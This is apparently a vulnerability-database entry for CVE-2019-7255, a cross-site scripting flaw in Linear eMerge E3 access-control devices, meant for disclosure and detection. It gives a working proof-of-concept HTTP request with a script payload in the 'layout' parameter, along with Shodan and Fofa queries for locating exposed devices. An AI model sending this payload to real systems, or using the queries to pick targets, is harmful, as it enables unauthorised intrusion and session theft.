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CVE-2019-7255: Linear eMerge E3 - Cross-Site Scripting

TitleLinear eMerge E3 - Cross-Site Scripting
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.58012
CVE IDCVE-2019-7255
CWE IDCWE-79
Shodan Queryhttp.title:"eMerge"http.title:"emerge"
Fofa Querytitle="emerge"
Tags cve cve2019 emerge xss packetstorm nortek nortekcontrol vuln

🔍 Vulnerability Description

Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the ‘layout’ parameter.

🌐 HTTP Request

GET /badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7255.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-7255.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A